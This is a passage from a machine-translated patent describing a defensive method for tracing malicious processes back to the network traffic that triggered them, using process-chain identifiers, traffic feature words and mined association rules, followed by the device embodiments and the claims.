[0147] (toLowerCase,bufferedReader.readLine)→java.

[0148] It can be seen from the above embodiments that a large amount of sample association data including sample malicious process data and sample traffic data having a triggering relationship with the sample malicious process data is obtained, and then the process chain of the sample malicious process data is extracted to obtain a set of sample process identifiers corresponding to multiple sample processes in the sample process chain, and the sample traffic data is subjected to text segmentation processing to obtain a set of sample traffic feature words, and an association confidence analysis is performed on the target sample process identifier and the target sample traffic feature words to determine the association confidence index between the target sample process identifier and the target sample traffic feature words. When the association confidence index meets the preset confidence condition, based on the target sample process identifier and the target sample traffic feature words, preset association information characterizing the association between the target sample process identifier and the target sample traffic feature words is generated, which can improve the validity and reliability of the preset association information, and thereby improve the accuracy of subsequent process source positioning.

[0149] In another optional embodiment, the process feature extraction of the process data to be processed to obtain the process feature text corresponding to the process data to be processed may include:

[0150] S2023, extracting the process chain of the process data to be processed, and obtaining a set of process identifiers corresponding to multiple processes in the process chain.

[0151] Specifically, the process identification set may represent the characteristics of the process chain in the corresponding process data to be processed.

[0152] Specifically, the specific process of extracting the process chain of the process data to be processed and obtaining the process identifier set corresponding to multiple processes in the process chain is similar to step S502. The specific content can be found in the relevant description of step S502, which will not be repeated here.

[0153] S2024, using the process identification set as the process characteristic text.

[0154] It can be seen from the above embodiments that by extracting the process chain from the process data to be processed, a set of process identifiers representing the characteristics of the process chain can be obtained.

[0155] In another optional embodiment, the process characteristic text may include: a process identification set, and the text association characterization information between the multiple pieces of initial flow data and the process characteristic text obtained by performing text association analysis on the multiple pieces of initial flow data and the process characteristic text may include:

[0156] S2034, performing text segmentation processing on the multiple pieces of initial traffic data respectively to obtain traffic feature word sets corresponding to the multiple pieces of initial traffic data.

[0157] Specifically, here, text segmentation processing is performed on multiple initial traffic data respectively, and the specific process of obtaining the traffic feature word sets corresponding to the multiple initial traffic data is similar to step S503. The traffic feature word set corresponding to each initial traffic data may include: multiple initial traffic feature words corresponding to each initial traffic data and / or multiple combined traffic feature words corresponding to each initial traffic data. For specific content, please refer to the relevant description in step SS503, which will not be repeated here.

[0158] S2035, based on preset association information, perform association detection on each process identifier in the process identifier set and each traffic feature word in the target traffic feature word set to obtain a feature word association detection result, the preset association information represents the association between multiple sample process identifiers and multiple sample traffic feature words, the target traffic feature word set is a traffic feature word set corresponding to any initial traffic data in multiple initial traffic data, the multiple sample process identifiers include the process identifier set, and the multiple sample traffic feature words include the target traffic feature word set.

[0159] Specifically, the preset association information may characterize the association between multiple sample process identifiers and multiple sample traffic feature words. In a specific embodiment, the multiple sample process identifiers here may be process identifiers extracted from a large amount of sample malicious process data, the multiple sample traffic feature words here may be traffic feature words extracted from sample process data corresponding to a large amount of sample malicious process data, and the preset association information here may be obtained based on the preset association information generation scheme of steps S501-S505.

[0160] In a specific embodiment, the feature word association detection result here can indicate whether there is a feature word association between the process identification set and the target traffic feature word set, and further the feature word association detection result can indicate whether there is a feature word association between the process feature text corresponding to the process identification set and the initial traffic data corresponding to the target traffic feature word set. Specifically, the feature word association between the process identification set and the target traffic feature word set can refer to the existence of an association between any process identification in the process identification set and any traffic feature word in the target traffic feature word set. Exemplarily, the preset association information includes: the preset association rule "index.php→php-fpm", that is, "index.php" and "php-fpm" are associated feature words. When the traffic feature word set E1 corresponding to the initial traffic data c contains the traffic feature word "index.php", and the process identification set E2 corresponding to the to-be-processed process data d contains the process identification "php-fpm", the traffic feature word set E1 and the process identification set E2 are subjected to association detection based on the preset association rule, and the feature word association detection result is: the traffic feature word "index.php" and the process identification "php-fpm" comply with the preset association rule, that is, there is a feature word association between the traffic feature word set E1 and the process identification set E2.

[0161] In practical applications, the preset association information can be updated regularly according to the latest sample association data collected regularly. Therefore, before executing step S2035, the latest preset association information can be loaded to improve the accuracy and effectiveness of association detection.

[0162] S2036: Use the feature word association detection result as text association representation information.

[0163] It can be seen from the above embodiments that text segmentation processing is performed on multiple initial traffic data respectively to obtain traffic feature word sets corresponding to each of the multiple initial traffic data, and then based on preset association information, association detection is performed on each process identifier in the process identifier set and each traffic feature word in the target traffic feature word set to obtain a feature word association detection result that characterizes the feature word association between the process identifier set and the target traffic feature word set, and the feature word association detection result is used as text association representation information, which can improve the interpretability and accuracy of the association analysis, and thereby improve the accuracy of subsequent source positioning.

[0164] In another optional embodiment, the above-mentioned text association representation information may include: a characteristic word association detection result, and the above-mentioned determination of the target flow data having a potential trigger relationship with the process data to be processed from the multiple initial flow data according to the text association representation information may include:

[0165] S2042, when the feature word association detection result indicates that the target process identifier and the target traffic feature word meet the preset association information, the initial traffic data corresponding to the target traffic feature word set is used as the target traffic data, the target process identifier is any process identifier in the process identifier set, and the target traffic feature word is any traffic feature word in the target traffic feature word set.

[0166] Specifically, when the feature word association detection result indicates that the target process identifier and the target traffic feature word meet the preset association information, it can be considered that there is a feature word association between the target traffic feature word set and the process identifier set, and further, it can be considered that there is a feature word association between the initial traffic data corresponding to the target traffic feature word set and the process data to be processed corresponding to the process identifier set. Therefore, it can be confirmed that there is a potential trigger relationship between the initial traffic data corresponding to the target traffic feature word set and the process data to be processed, and the initial traffic data corresponding to the target traffic feature word set is used as the target traffic data.

[0167] Exemplarily, the preset association information includes: the preset association rule "index.php→php-fpm", that is, "index.php" and "php-fpm" are associated feature words. When the traffic feature word set E1 corresponding to the initial traffic data c contains the traffic feature word "index.php", and the process identification set E2 corresponding to the process data d to be processed contains the process identification "php-fpm", the traffic feature word set E1 and the process identification set E2 are associated based on the preset association rule, and the feature word association detection result is: the traffic feature word "index.php" and the process identification "php-fpm" meet the preset association rule, that is, there is a feature word association between the traffic feature word set E1 and the process identification set E2, and then it can be considered that there is a feature word association between the initial traffic data c and the process data d to be processed. Therefore, it can be confirmed that there is a potential trigger relationship between the initial traffic data c and the process data d to be processed.

[0168] It can be seen from the above embodiments that when the feature word association detection result indicates that the target process identifier and the target traffic feature word meet the preset association information, the initial traffic data corresponding to the target traffic feature word set is used as the target traffic data, which can improve the rationality and accuracy of the target traffic data screening.

[0169] See also Figure 6 , Figure 6It is a flow chart of another malicious process source location solution provided by an embodiment of the present application. Specifically, sample malicious process data and sample flow data corresponding to the sample malicious process data (i.e., flow data that triggers the sample malicious process data) are collected in advance, and the association relationship between the sample flow feature words and the sample process identifier is analyzed by mining multiple sample process identifiers in the sample process chain of the sample malicious process data and multiple sample flow feature words in the sample flow data to obtain preset association information. For the process data to be processed and multiple initial flow data corresponding to the process data to be processed, the process identifier set in the process chain of the process data to be processed and the flow feature word set corresponding to each initial flow data are also extracted, and according to the preset association information, the process identifier set and the flow feature word set corresponding to each initial flow data are detected for the associated feature words. When any process identifier in the process identifier set and any flow feature word in the flow feature word set corresponding to a certain initial flow data meet the preset association information, the initial flow data is used as the target flow data corresponding to the process data to be processed, and the strong association rules between the flow and the process are obtained by mining the frequent items of the flow text feature words and the process chain, and the unassociated data are filtered based on these rules to locate the trigger flow corresponding to the malicious process.

[0170] It can be seen from the above embodiments that a large amount of sample association data including sample malicious process data and sample traffic data having a triggering relationship with the sample malicious process data is obtained in advance, and then the process chain of the sample malicious process data is extracted to obtain a set of sample process identifiers corresponding to multiple sample processes in the sample process chain, and the sample traffic data is subjected to text segmentation processing to obtain a set of sample traffic feature words, and an association confidence analysis is performed on the target sample process identifier and the target sample traffic feature words to determine the association confidence index between the target sample process identifier and the target sample traffic feature words. When the association confidence index meets the preset confidence condition, based on the target sample process identifier and the target sample traffic feature words, preset association information characterizing the association between the target sample process identifier and the target sample traffic feature words is generated, which can improve the validity and reliability of the preset association information, and then the process data to be processed is subjected to the association confidence analysis. Process chain extraction can obtain a set of process identifiers that characterize process chain characteristics, and perform text segmentation on multiple initial traffic data to obtain a set of traffic feature words corresponding to each of the multiple initial traffic data. Then, based on preset association information, association detection is performed on each process identifier in the process identifier set and each traffic feature word in the target traffic feature word set to obtain a feature word association detection result that characterizes the feature word association between the process identifier set and the target traffic feature word set. The feature word association detection result is used as text association representation information to improve the interpretability and accuracy of the association analysis. When the feature word association detection result indicates that the target process identifier and the target traffic feature word meet the preset association information, the initial traffic data corresponding to the target traffic feature word set is used as the target traffic data, which can improve the rationality and accuracy of the target traffic data screening, thereby improving the accuracy of the triggered traffic positioning.

[0171] See also Figure 7 , Figure 7 It is an overall schematic diagram of the malicious process source location strategy provided by the embodiment of the present application. Specifically, on the one hand, by analyzing the text similarity between the traffic text and the process behavior, the correlation between the two can be further determined; on the other hand, by performing frequent item mining on the feature words of the traffic text and the process identifier of the process chain, strong association rules between the traffic feature words and the process identifier are obtained, and based on these rules, the correlation between the traffic and the process can be identified. Based on the above strategy, the relationship between the traffic data and the process data can be automatically determined, and most of the unrelated data can be identified, leaving only a small part of the data that needs to be manually analyzed, reducing labor costs.

[0172] It can be seen from the technical solutions provided by the above embodiments of the present application that in the application scenario of locating the source of a malicious process, on the one hand, by performing plaintext attack detection on the traffic data to be detected and the initial process data, the initial traffic data and the process data to be processed that carry plaintext attack behaviors are screened out, and then the initial traffic data and the process data to be processed are subjected to association analysis processing, which can further reduce the amount of data to be analyzed and improve the processing efficiency and accuracy of the subsequent association analysis; the process behavior data is segmented to obtain a set of process feature words that can characterize the process behavior characteristics, and then the target number of process feature words in the process feature word set that overlap with each initial traffic data in multiple initial traffic data is determined, and then the text overlap index between each initial traffic data and the process feature text is determined according to the ratio between the target number and the total number of feature words in the process feature word set, which can improve the interpretability and accuracy of the association analysis, and finally, by setting a reasonable preset text overlap threshold, the initial traffic data in multiple initial traffic data whose corresponding text overlap index is greater than the preset text overlap threshold is used as the target traffic data, which can improve the rationality and accuracy of the target traffic data screening, thereby improving the accuracy of the triggered traffic location;On the other hand, a large amount of sample association data including sample malicious process data and sample traffic data having a triggering relationship with the sample malicious process data is obtained in advance, and then a process chain is extracted for the sample malicious process data to obtain a set of sample process identifiers corresponding to multiple sample processes in the sample process chain, and text segmentation is performed on the sample traffic data to obtain a set of sample traffic feature words, and an association confidence analysis is performed on the target sample process identifier and the target sample traffic feature words to determine the association confidence index between the target sample process identifier and the target sample traffic feature words. When the association confidence index meets the preset confidence condition, based on the target sample process identifier and the target sample traffic feature words, preset association information characterizing the association between the target sample process identifier and the target sample traffic feature words is generated, which can improve the validity and reliability of the preset association information, and then a process chain is performed on the process data to be processed. Extraction can obtain a process identification set representing the process chain characteristics, and perform text segmentation processing on multiple initial traffic data to obtain the traffic feature word sets corresponding to the multiple initial traffic data, and then perform association detection on each process identification in the process identification set and each traffic feature word in the target traffic feature word set based on the preset association information, and obtain the feature word association detection result representing the feature word association between the process identification set and the target traffic feature word set, and use the feature word association detection result as text association representation information, which can improve the interpretability and accuracy of the association analysis. When the feature word association detection result indicates that the target process identification and the target traffic feature word meet the preset association information, the initial traffic data corresponding to the target traffic feature word set is used as the target traffic data, which can improve the rationality and accuracy of the target traffic data screening, and thus improve the accuracy of the triggered traffic positioning. ;

[0173] The present application also provides a data processing device, such as Figure 8 As shown, the data processing device may include:

[0174] The data acquisition module 810 is used to acquire the process data to be processed and a plurality of initial flow data, where the plurality of initial flow data are flow data that are temporally and spatially associated with the process data to be processed;

[0175] The process feature extraction module 820 is used to extract process features from the process data to be processed, and obtain process feature text corresponding to the process data to be processed;

[0176] A text association analysis module 830 is used to perform text association analysis on the multiple pieces of initial flow data and the process characteristic texts to obtain text association representation information between the multiple pieces of initial flow data and the process characteristic texts;

[0177] The target flow data determination module 840 is used to determine the target flow data having a potential trigger relationship with the process data to be processed from the multiple initial flow data according to the text association representation information.

[0178] In an optional embodiment, the above-mentioned multiple pieces of initial flow data can be obtained by the following means:

[0179] The to-be-detected flow data acquisition module is used to acquire multiple pieces of to-be-detected flow data, where the multiple pieces of to-be-detected flow data are flow data that are temporally and spatially associated with the to-be-processed process data;

[0180] The plaintext attack detection module is used to perform plaintext attack detection on multiple flow data to be detected, and determine multiple initial flow data carrying plaintext attack behaviors.

[0181] In an optional embodiment, the process feature extraction module 820 may include:

[0182] A process feature word collection unit is used to perform text segmentation processing on the process data to be processed to obtain a process feature word collection;

[0183] The second process characteristic text unit is used to set the process characteristic words as the process characteristic text.

[0184] In an optional embodiment, the process feature text may include: a process feature word set, and the text association analysis module 830 may include:

[0185] a target quantity determination unit, used to determine a target quantity of process characteristic words in the process characteristic word set that overlap with each of the multiple pieces of initial flow data;

[0186] A text overlap index determination unit, used to determine a text overlap index between each initial flow data and a process characteristic text according to a ratio between a target number and a total number of characteristic words in a process characteristic word set;

[0187] The first text association representation information unit is used to use the text overlap index as the text association representation information corresponding to each initial flow data.

[0188] In an optional embodiment, the text association representation information may include: a text overlap index corresponding to each initial flow data, and the target flow data determination module 840 may include:

[0189] The first target flow data determination unit is used to take the initial flow data whose corresponding text overlap index is greater than a preset text overlap threshold among the multiple initial flow data as the target flow data.

[0190] In another optional embodiment, the process feature extraction module 820 may include:

[0191] A process chain extraction unit is used to extract the process chain of the process data to be processed, and obtain a set of process identifiers corresponding to multiple processes in the process chain;

[0192] The second process characteristic text unit is used to use the process identifier set as the process characteristic text.

[0193] In another optional embodiment, the process feature text may include: a process identification set, and the text association analysis module 830 may include:

[0194] The flow characteristic word set unit is used to perform text segmentation processing on multiple pieces of initial flow data respectively to obtain flow characteristic word sets corresponding to the multiple pieces of initial flow data respectively.

[0195] An association detection unit is used to perform association detection on each process identifier in a process identifier set and each traffic feature word in a target traffic feature word set based on preset association information to obtain a feature word association detection result. The preset association information represents the association between multiple sample process identifiers and multiple sample traffic feature words. The target traffic feature word set is a traffic feature word set corresponding to any initial traffic data in multiple initial traffic data. The multiple sample process identifiers include a process identifier set, and the multiple sample traffic feature words include a target traffic feature word set.

[0196] The second text association representation information unit is used to use the feature word association detection result as text association representation information.

[0197] In a specific embodiment, the above preset association information can be generated by the following means:

[0198] The sample-related data acquisition module is used to acquire multiple pieces of sample-related data, each of which includes: sample malicious process data and sample flow data that has a triggering relationship with the sample malicious process data.

[0199] The sample process chain extraction module is used to extract the process chain of the sample malicious process data and obtain a set of sample process identifiers corresponding to multiple sample processes in the sample process chain.

[0200] The sample traffic feature word set generation module is used to perform text segmentation processing on the sample traffic data to obtain the sample traffic feature word set.

[0201] The association confidence analysis module is used to perform association confidence analysis on the target sample process identifier and the target sample traffic feature word to determine the association confidence index between the target sample process identifier and the target sample traffic feature word. The target sample process identifier is any sample process identifier in the sample process identifier set, and the target sample traffic feature word is any sample traffic feature word in the sample traffic feature word set.

[0202] The preset correlation information generation module is used to generate preset correlation information based on the target sample process identifier and the target sample traffic feature word when the correlation confidence indicator meets the preset confidence condition.

[0203] In a specific embodiment, the sample traffic feature word set generation module may include:

[0204] The initial traffic feature word unit is used to perform text segmentation processing on the sample traffic data to obtain multiple initial traffic feature words;

[0205] A combined flow characteristic word unit is used to combine each of the multiple initial flow characteristic words to obtain multiple combined flow characteristic words;

[0206] The sample traffic feature word set unit is used to obtain a sample traffic feature word set based on a plurality of initial traffic feature words and / or a plurality of combined traffic feature words.

[0207] In a specific embodiment, the above-mentioned association confidence analysis module may include:

[0208] A first probability indicator determination unit is used to determine a first probability indicator that a target sample process identifier and a target sample traffic feature word appear simultaneously in target sample associated data, where the target sample associated data is any sample associated data among the plurality of sample associated data;

[0209] A second probability index determination unit, used to determine a second probability index of the target sample traffic feature word appearing in the target sample associated data;

[0210] The association confidence indicator unit is used to use the ratio of the first probability indicator to the second probability indicator as the association confidence indicator.

[0211] In another optional embodiment, the text association representation information may include: a characteristic word association detection result, and the target traffic data determination module 840 may include:

[0212] The second target traffic data determination unit is used to use the initial traffic data corresponding to the target traffic feature word set as the target traffic data when the feature word association detection result indicates that the target process identifier and the target traffic feature word meet the preset association information, the target process identifier is any process identifier in the process identifier set, and the target traffic feature word is any traffic feature word in the target traffic feature word set.

[0213] It should be noted that the device in the device embodiment and the method embodiment are based on the same inventive concept.

[0214] An embodiment of the present application provides a data processing device, which includes a processor and a memory, wherein the memory stores at least one instruction or at least one program, and the at least one instruction or the at least one program is loaded and executed by the processor to implement the data processing method provided in the above method embodiment.

[0215] Further, Fig. 9 A hardware structure diagram of a data processing device for implementing the data processing method provided in the embodiment of the present application is shown, and the data processing device may participate in or include the data processing apparatus provided in the embodiment of the present application. Fig. 9 As shown, the data processing device 90 may include one or more (902a, 902b, ..., 902n are used to illustrate) processors 902 (the processor 902 may include but is not limited to a processing device such as a microprocessor MCU or a programmable logic device FPGA), a memory 904 for storing data, and a transmission device 906 for communication functions. In addition, it may also include: a display, an input / output interface (I / O interface), a universal serial bus (USB) port (which may be included as one of the ports of the I / O interface), a network interface, a power supply and / or a camera. It can be understood by those skilled in the art that Fig. 9 The structure shown is only for illustration and does not limit the structure of the above electronic device. Fig. 9 More or fewer components as shown, or with Fig. 9 Different configurations are shown.

[0216] It should be noted that the one or more processors 902 and / or other data processing circuits described above may generally be referred to herein as "data processing circuits". The data processing circuits may be embodied in whole or in part as software, hardware, firmware, or any other combination thereof. In addition, the data processing circuit may be a single independent processing module, or may be incorporated in whole or in part into any of the other components in the data processing device 90 (or mobile device). As described in the embodiments of the present application, the data processing circuit acts as a processor control (e.g., selection of a variable resistor terminal path connected to an interface).

[0217] The memory 904 can be used to store software programs and modules of application software, such as program instructions / data storage devices corresponding to the data processing method described in the embodiments of the present application. The processor 902 executes various functional applications and data processing by running the software programs and modules stored in the memory 904, that is, realizing the above-mentioned data processing method. The memory 904 may include a high-speed random access memory, and may also include a non-volatile memory, such as one or more magnetic storage devices, flash memory, or other non-volatile solid-state memory. In some examples, the memory 904 may further include a memory remotely arranged relative to the processor 902, and these remote memories may be connected to the data processing device 90 via a network. Examples of the above-mentioned network include, but are not limited to, the Internet, an intranet, a local area network, a mobile communication network, and combinations thereof.

[0218] The transmission device 906 is used to receive or send data via a network. The specific example of the above network may include a wireless network provided by a communication provider of the data processing device 90. In one example, the transmission device 906 includes a network adapter (Network Interface Controller, NIC), which can be connected to other network devices through a base station so as to communicate with the Internet. In one embodiment, the transmission device 906 can be a radio frequency (Radio Frequency, RF) module, which is used to communicate with the Internet wirelessly.

[0219] The display may be, for example, a touch screen liquid crystal display (LCD) that enables a user to interact with a user interface of the data processing device 90 (or mobile device).

[0220] An embodiment of the present application also provides a computer-readable storage medium, which can be set in a data processing device to store at least one instruction or at least one program related to the data processing method in the method embodiment. The at least one instruction or the at least one program is loaded and executed by the processor to implement the data processing method provided by the above-mentioned method embodiment.

[0221] Optionally, in this embodiment, the storage medium may be located in at least one of the multiple network servers of the computer network. Optionally, in this embodiment, the storage medium may include, but is not limited to, various media that can store program codes, such as a USB flash drive, a read-only memory (ROM), a random access memory (RAM), a mobile hard disk, a magnetic disk, or an optical disk.

[0222] The embodiment of the present application also provides a computer program product or a computer program, which includes a computer instruction stored in a computer-readable storage medium. The processor of the computer device reads the computer instruction from the computer-readable storage medium, and the processor executes the computer instruction, so that the computer device performs the data processing method provided in the method embodiment.

[0223] It should be noted that the above-mentioned sequence of the embodiments of the present application is for description only and does not represent the advantages and disadvantages of the embodiments. The above-mentioned specific embodiments of the present application are described. Other embodiments are within the scope of the appended claims. In some cases, the actions or steps recorded in the claims can be performed in an order different from that in the embodiments and still achieve the desired results. In addition, the processes depicted in the drawings do not necessarily require the specific order or continuous order shown to achieve the desired results. In some embodiments, multitasking and parallel processing are also possible or may be advantageous.

[0224] Each embodiment in this application is described in a progressive manner, and the same or similar parts between the embodiments can be referred to each other, and each embodiment focuses on the differences from other embodiments. In particular, for the device and equipment embodiments, since they are basically similar to the method embodiments, the description is relatively simple, and the relevant parts can be referred to the partial description of the method embodiments.

[0225] A person skilled in the art will understand that all or part of the steps to implement the above embodiments may be accomplished by hardware or by instructing related hardware through a program, and the program may be stored in a computer-readable storage medium, and the above-mentioned storage medium may be a read-only memory, a disk or an optical disk, etc.

[0226] The above description is only a preferred embodiment of the present application and is not intended to limit the present application. Any modifications, equivalent substitutions, improvements, etc. made within the spirit and principles of the present application should be included in the protection scope of the present application.

Claims

1. A data processing method, characterized in that: The method comprises: Acquire the process data to be processed and a plurality of initial flow data, wherein the plurality of initial flow data are flow data that are temporally and spatially associated with the process data to be processed; Extracting process features from the process data to be processed to obtain process feature text corresponding to the process data to be processed; Performing text association analysis on the multiple pieces of initial flow data and the process characteristic text to obtain text association representation information between the multiple pieces of initial flow data and the process characteristic text; According to the text association representation information, target flow data having a potential triggering relationship with the process data to be processed is determined from the multiple pieces of initial flow data.

2. The method according to claim 1, characterized in that The extracting process features of the process data to be processed to obtain the process feature text corresponding to the process data to be processed includes: Extracting a process chain from the process data to be processed to obtain a set of process identifiers corresponding to multiple processes in the process chain; The process identification set is used as the process characteristic text.

3. The method according to claim 2, characterized in that The performing of text association analysis on the plurality of pieces of initial flow data and the process characteristic text to obtain text association representation information between the plurality of pieces of initial flow data and the process characteristic text includes: Performing text segmentation processing on the multiple pieces of initial traffic data respectively to obtain traffic feature word sets corresponding to the multiple pieces of initial traffic data respectively; Based on preset association information, an association detection is performed on each process identifier in the process identifier set and each traffic feature word in the target traffic feature word set to obtain a feature word association detection result, wherein the preset association information represents the association between multiple sample process identifiers and multiple sample traffic feature words, the target traffic feature word set is a traffic feature word set corresponding to any initial traffic data in the multiple initial traffic data, the multiple sample process identifiers include the process identifier set, and the multiple sample traffic feature words include the target traffic feature word set; The characteristic word association detection result is used as the text association representation information.

4. The method according to claim 3, characterized in that The determining, according to the text association representation information, from the plurality of pieces of initial traffic data, target traffic data having a potential triggering relationship with the process data to be processed comprises: When the feature word association detection result indicates that the target process identifier and the target traffic feature word meet the preset association information, the initial traffic data corresponding to the target traffic feature word set is used as the target traffic data, the target process identifier is any process identifier in the process identifier set, and the target traffic feature word is any traffic feature word in the target traffic feature word set.

5. The method according to claim 3 or 4, characterized in that: The preset association information is generated in the following manner: Acquire a plurality of sample association data, each of the plurality of sample association data comprising: sample malicious process data and sample flow data having a triggering relationship with the sample malicious process data; Extracting a process chain from the sample malicious process data to obtain a set of sample process identifiers corresponding to multiple sample processes in the sample process chain; Performing text segmentation processing on the sample traffic data to obtain a sample traffic feature word set; Performing an association confidence analysis on a target sample process identifier and a target sample flow characteristic word to determine an association confidence index between the target sample process identifier and the target sample flow characteristic word, wherein the target sample process identifier is any sample process identifier in the sample process identifier set, and the target sample flow characteristic word is any sample flow characteristic word in the sample flow characteristic word set; When the association confidence indicator meets the preset confidence condition, the preset association information is generated based on the target sample process identifier and the target sample traffic feature word.

6. The method according to claim 5, characterized in that The performing of association confidence analysis on the target sample process identifier and the target sample flow characteristic word to determine the association confidence index between the target sample process identifier and the target sample flow characteristic word includes: Determine a first probability index that the target sample process identifier and the target sample traffic feature word appear simultaneously in target sample associated data, wherein the target sample associated data is any sample associated data among the plurality of sample associated data; Determine a second probability index of the target sample traffic feature word appearing in the target sample associated data; The ratio of the first probability indicator to the second probability indicator is used as the association confidence indicator.

7. The method according to claim 5, characterized in that The sample traffic data is subjected to text segmentation processing to obtain a sample traffic feature word set including: Performing text segmentation processing on the sample traffic data to obtain a plurality of initial traffic feature words; Combining each of the multiple initial traffic feature words to obtain multiple combined traffic feature words; The sample traffic feature word set is obtained based on the multiple initial traffic feature words and / or the multiple combined traffic feature words.

8. The method according to claim 1, characterized in that The extracting process features of the process data to be processed to obtain the process feature text corresponding to the process data to be processed includes: Performing text segmentation processing on the process data to be processed to obtain a process feature word set; The process feature word set is used as the process feature text.

9. The method according to claim 8, characterized in that The performing of text association analysis on the plurality of pieces of initial flow data and the process characteristic text to obtain text association representation information between the plurality of pieces of initial flow data and the process characteristic text includes: Determining a target number of process characteristic words in the process characteristic word set that overlap with each of the multiple pieces of initial flow data; Determining a text overlap index between each of the initial flow data and the process feature text according to a ratio between the target number and the total number of feature words in the process feature word set; The text overlap index is used as text association representation information corresponding to each initial traffic data.

10. The method according to claim 9, characterized in that The determining, according to the text association representation information, from the plurality of pieces of initial traffic data, target traffic data having a potential triggering relationship with the process data to be processed comprises: The initial flow data whose corresponding text overlap index among the multiple pieces of initial flow data is greater than a preset text overlap threshold is used as the target flow data.

11. The method according to any one of claims 8 to 10, characterized in that: The multiple pieces of initial flow data are obtained in the following manner: Acquire multiple pieces of flow data to be detected, where the multiple pieces of flow data to be detected are flow data that are temporally and spatially associated with the process data to be processed; Perform plaintext attack detection on the multiple pieces of traffic data to be detected to determine multiple pieces of initial traffic data carrying plaintext attack behaviors.

12. A data processing device, characterized in that: The device comprises: A data acquisition module, used to acquire the process data to be processed and a plurality of initial flow data, wherein the plurality of initial flow data are flow data that are temporally and spatially associated with the process data to be processed; A process feature extraction module is used to extract process features from the process data to be processed to obtain process feature text corresponding to the process data to be processed; A text association analysis module, used to perform text association analysis on the multiple pieces of initial flow data and the process characteristic text, to obtain text association representation information between the multiple pieces of initial flow data and the process characteristic text; The target flow data determination module is used to determine the target flow data having a potential trigger relationship with the process data to be processed from the multiple initial flow data according to the text association representation information.

13. A data processing device, characterized in that: The device includes a processor and a memory, wherein the memory stores at least one instruction or at least one program, and the at least one instruction or the at least one program is loaded and executed by the processor to implement the data processing method as described in any one of claims 1 to 11.

14. A computer-readable storage medium, characterized in that: The storage medium stores at least one instruction or at least one program, and the at least one instruction or the at least one program is loaded and executed by the processor to implement the data processing method according to any one of claims 1 to 11.

15. A computer program product, characterized in that The computer program product comprises at least one instruction or at least one program segment, and the at least one instruction or the at least one program segment is loaded and executed by a processor to implement the data processing method according to any one of claims 1 to 11.

Images